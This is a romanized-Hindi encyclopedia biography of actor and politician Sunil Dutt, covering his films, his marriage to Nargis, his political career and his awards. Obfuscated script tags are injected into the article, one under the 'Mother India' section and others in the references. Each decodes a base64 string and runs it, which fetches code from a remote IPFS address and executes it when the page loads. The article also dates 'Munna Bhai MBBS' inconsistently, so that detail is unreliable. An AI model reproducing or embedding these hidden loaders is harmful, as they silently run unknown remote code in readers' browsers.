सुनील दत्त

sunil datt (janm- 6 joon, 1929, gaanv khurdi, panjab (pakistan); mrityu- 25 mee, 2005, muanbee) bharatiy sinema mean ek aise abhineta the jinako parade par dekh ek am hindustani apani jiandagi ki jhalak dekhata tha.^[1] sunil datt ka vastavik nam balaraj raghunath datt tha.

jivan parichay

hindi sinema jagat mean sunil datt ko ek aisi shakhsiyat ke taur par yad kiya jata hai, jinhoanne film nirman, nirdeshan aur abhinay se lagabhag char dashak tak darshakoan ka bharapoor manoranjan kiya. unake kiradar vastavik jivan ke bahut karib hote the aur unaka vyaktitv bhi unake kiradar ki tarah ujjaval aur prabhavashali raha. sunil datt ka janm 6 joon, 1929 mean jhelam zile ke khurdi gaanv mean ek brahman parivar me hua tha. sunil datt bachapan se hi abhinay ke kshetr mean jana chahate the. balaraj sahani film iandastri mean abhineta ke rup mean un dinoan sthapit ho chuke the, ise dekhate hue unhoanne apana nam balaraj datt se badalakar sunil datt rakh liya. unaka bachapan yamuna nadi ke kinare mandali gaanv mean bita jo hariyana pradesh mean hai. sunil datt isake bad lakhanoo chale gaye aur jahaan par vah akhtar nam se aminabad gali mean ek musalaman aurat ke ghar par rahe. kuchh samay bad apane sapanoan ko poora karane ke lie vah muanbee chale ge.^[1]

karyakshetr

mumbee akar sunil datt ne muanbee parivahan seva ke bas dipo mean chekiang klark ke rup mean kary kiya, jahaan unako 120 rupe mahine ke milate the. film iandastri mean apani jagah banane ke lie 1955 se 1957 tak sunil datt sangharsh karate rahe. hiandi sinema jagat mean apane pair jamane ke lie vah jamin ki talash mean ek stoodiyo se doosare stoodiyo bhatakate rahe the. usake bad sunil datt ne nait k aaulej mean padhakar snatak kiya. sunil datt ne rediyo silon ki hindi seva ke udghoshak ke taur par apana kariyar shuru kiya tha. jahaan vah filmi kalakaroan ka iantaravyoo liya karate the. ek iantaravyoo ke lie unhean 25 rupaye milate the. yah dakshin eshiya ki pachas ke dashak me sabase lokapriy rediyo seva thi.

vivah

sunil datt ne 'madar iandiya' film ki shootiang ke dauran ek ag ki durghatana mean nargis ko apani jan ki paravah kiye bina bachaya. is hadase mean sunil datt kafi jal ge the tatha nargis par bhi ag ki lapatoan ka asar p da tha. unhean ilaj ke lie aspatal mean bharti karaya gaya aur unake svasth hokar bahar nikalane ke bad donoan ne shadi karane ka phaisala kar liya. nargis 11 march, 1958 mean sunil datt ki jivan sangini ban gee.^[1]

filmi saphar ki shuruat

sunil datt ki pahali film 'relave pletaph aaurm' 1955 mean pradarshit huee, jisamean unhoanne abhineta ke roop mean kary kiya. apani pahali film se unhean kuchh khas pahachan nahi mili. unhoanne is film ke bad 'kuandan', 'rajadhani', 'kismat ka khel' aur 'payal' jaisi kee chhoti filmoan mean abhinay kiya, lekin inamean se unaki koee bhi film saphal nahian huee.

madar iandiya

mukhy lekh : madar iandiya

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1957 mean pradarshit huee film 'madar iandiya' se sunil datt ko abhineta ke roop mean khas pahachan aur lokapriyata miliI unhoanne is film mean ek aise yuvak 'birajoo' ki bhoomika nibhaee jo gaanv mean samajik vyavastha se kafi naraz hai aur isi ki vajah se vidroh kar dakoo ban jata hai. sahookar se badala lene ke lie vah usaki putri ka apaharan kar leta hai lekin is koshish mean aant mean vah apani maan ke hathoan mara jata hai. is film mean nakaratmak hiro ka kiradar nibhakar vah darshakoan ke dil mean jagah banane mean saphal rahe.^[1]

vakt

sunil datt ki suparahit film 'vakt' 1965 mean pradarshit huee. unake samane is film mean balaraj sahani, rajakumar, shashi kapoor aur rahaman jaise nami sitare the, isake bavazood sunil apane damadar abhinay se darshakoan ka dhyan apani or akarshit karane mean saphal rahe. sunil datt ke sine kariyar ka 1967 sabase mahatvapoorn sal sabit hua. us sal unaki 'milan', 'meharaban' aur 'hamaraz' jaisi suparahit filmean pradarshit huee, jinamean unake abhinay ke ne roop dekhane ko mile. in filmoan ki saphalata ke bad vah abhineta ke rup mean shoharat ki bulandiyoan par ja pahuanche.

sunil datt bharatiy sinema ke un abhinetaoan me se ek hai jinaki filmo ne pachas aur sath ke dashak me darshako par amit chhap chho di. 'madar iandiya' ki saphalata ke bad unhean 'sadhana' (1958), 'sujata' (1959), 'mujhe jine do' (1963), 'khanadan' (1965 ), 'p dosan' (1967 ) jaisi saphal filmoan se bharatiy darshako ke bich ek saphal abhineta ke roop mean pahachan mili. sunil datt ko nirdeshak bi. ar. chop da ke sath 'gumarah' (1963), 'vaqt' (1965 ) aur 'hamaraj' (1967) jaisi filmoan mean nibhaee gee yadagar bhoomikaoan ne bhi darshakoan ke bich lokapriy kiya.^[1]

malti starar filmoan ka aham hissa

sunil datt ke sine kariyar par nazar dalane par pata lagata hai ki vah malti starar filmoan ka aham hissa rahe hai. film nirmataoan ko aisi filmoan mean jab kabhi abhineta ki zaroorat hoti thi vah unhean nazar aandaz nahian kar pate the. sunil datt ki maltistarar suparahit filmoan mean 'nagin', 'jani dushman', 'shan', 'badale ki ag', 'raj tilak', 'kala dhandha gore log', 'vatan ke rakhavale', 'paranpara', 'kshatriy' adi pramukh haian.^[2]

ullekhaniy film

apane filmi saphar mean sunil datt ne lagabhag 100 filmoan mean abhinay kiya. unaki kuchh any ullekhaniy filmean hai-

'ek hi rasta' 1956,
'sujata' 1959,
'ham hiandustani' 1960,
'gumarah' 1963,
'khanadan' 1965,
'mera saya' 1966,
'p dosan' 1968,
'bhaee bahan' 1969,
'jvala' 1971,
'nahale pe dahala' 1976,
'dard ka rishta' 1982,
'phasale' 1985,
'yah ag kab bujhegi' 1991,
'phool' 1993 adi.^[2]

munna bhaee em.bi.bi.es

1993 mean pradarshit film 'kshatriy' ke bad sunil datt lagabhag 10 varsh tak film abhinay se door rahe . vidhu vinod chop da ke zor dene par unhoanne 2007 mean pradarshit film 'munna bhaee em.bi.bi.es' mean abhinay kiya. film mean unhoanne abhineta sanjay datt ke pita ki bhoomika nibhaee. pita-putr ki is jo di ko darshakoan ne kaphi pasand kiya. is film ke madhyam se pahali bar pita putr (sunil datt aur sanjay datt) ek sath parde par najar ae the. halaanki film 'kshatriy' aur 'r aauki' mean bhi siniyar aur jooniyar datt ne sath kam kiya magar ek bhi drishy mean ve sath mean nahian the.^[1]

film nirdeshan

film yadean (1964) ke sath sunil datt ne film nirdeshan me bhi kadam rakha. is poori film mean sirph ek yuvak ki bhoomika thi jo apane sansmaran ko yad karata rahata hai. is kiradar ko sunil datt ne nibhaya tha. unaki yah film bahut saphal nahian rahi, lekin bharatiy sinema jagat ke itihas mean apana nam darj kara gee.

film nirman

sunil datt ne 1963 mean pradarshit film 'yah raste hai pyar ke' ke zarie film nirman ke kshetr mean bhi kadam rakh diya. yah film tikat khi daki par zyada saphal nahian rahi. is film ke bad sunil datt ne film 'mujhe jine do' ka nirman kiya. yah film dakuoan ke jivan par adharit thi. yah film suparahit sabit huee. isake bad unhoanne apane bhaee som datt ko bataur mukhy abhineta film 'man ka mit' me laanch kiya. som datt ka filmi saphar bahut saphal nahi raha. sunil datt ne 1971 mean apani mahatvakaankshi film 'reshama aur shera' ka nirman aur nirdeshan kiya. is film mean unhone bhoomika bhi nibhaee. yah ek piriyad aur b de bajat ki film thi jise darshako ne nakar diya. nirmata aur nirdeshak banane ke bad bhi sunil datt abhinay se kabhi zyada samay ke lie door nahi rahe.^[1]

sunil datt ki sattar aur assi ke dashak me bani filmean 'pran jae par vachan na jaee' (1974), 'nagin' (1976), 'jani dushman' (1979) aur 'shan' (1980) mean unaki bhoomikae pasand ki gayi. is samay mean sunil datt dharmik panjabi filmo se bhi ju de rahe. jin filmoan mean 'man jite jag jite' (1973 ), 'dhukh bhajan tera nam' (1974 ), 'sat shri akal' (1977 ) pramukh haian.

rajaniti

sunil datt ne filmoan mean kee bhoomikaean nibhane ke bad samaj seva ke lie rajaniti mean pravesh kiya aur kaangres ke sahayog se lokasabha ke sadasy bane. sal 1968 mean vah padamashri puraskar se sammanit kie ge. sunil datt ko 1982 mean muanbee ka sheriph niyukt kiya gaya. hiandi filmoan ke alava sunil datt ne kee panjabi filmoan mean bhi apane abhinay ka jalava dikhaya. inamean 'man jit jag jit' 1973, 'dukh bhanjan tera nam' 1974 aur 'sat shri akal' 1977 jaisi suparahit filmean shamil hai.^[2]

nargis ki mrityu

1980 me sunil datt ne apane bete sanjay datt ko film 'r aauki' me laanch kiya. yah ek suparahit film sabit huee lekin film ke pradarshit hone ke tho de samay ke bad hi unaki patni nargis ka kaiansar bimari ki vajah se dehaant ho gaya. nargis ki kaiansar se huee mrityu ke karan unhean is bimari ke prati samajik jagarookata ke prati badhane ki prerana mili. sunil datt ne patni ki yad me 'nargis datt phauandeshan' ki sthapana ki. yah vo samay tha jab sunil datt samajik karyakramoan me zyada dilachaspi lene lage.^[1]

puraskar

1963 - filmafeyar sarvashreshth abhineta puraskar (mujhe jine do)
1965 - filmafeyar sarvashreshth abhineta puraskar (khanadan)
1968 - padmashri
1995 - filmafeyar laiph taim achivameant puraskar
1997 - star skrin laiph taim achivameant puraskar
2001 -ji sine laiph taim achivameant puraskar
2005 - phalke ratn puraskar

mrityu

hiandi filmo ke pahale eangri yang main aur rajanaitik taur par ek adarsh neta sunil datt ka 25 mee, 2005 ko hraday gati rukane ke karan baandra sthit unake nivas sthan par dehaant ho gaya. sunil datt 'madar iandiya' ke 'birajoo' ke room mean ya ek adarsh neta ke taur par aj bhi hamare bich mauzood haian.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ^1.3 ^1.4 ^1.5 ^1.6 ^1.7 ^1.8 hiandi sinema ke birajoo sunil datt (hindi) b aaulibud bl aaug. abhigaman tithi: 19 mee, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ ^2.0 ^2.1 ^2.2 sunil datt (hindi) pi7 nyooj. abhigaman tithi: 19 mee, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

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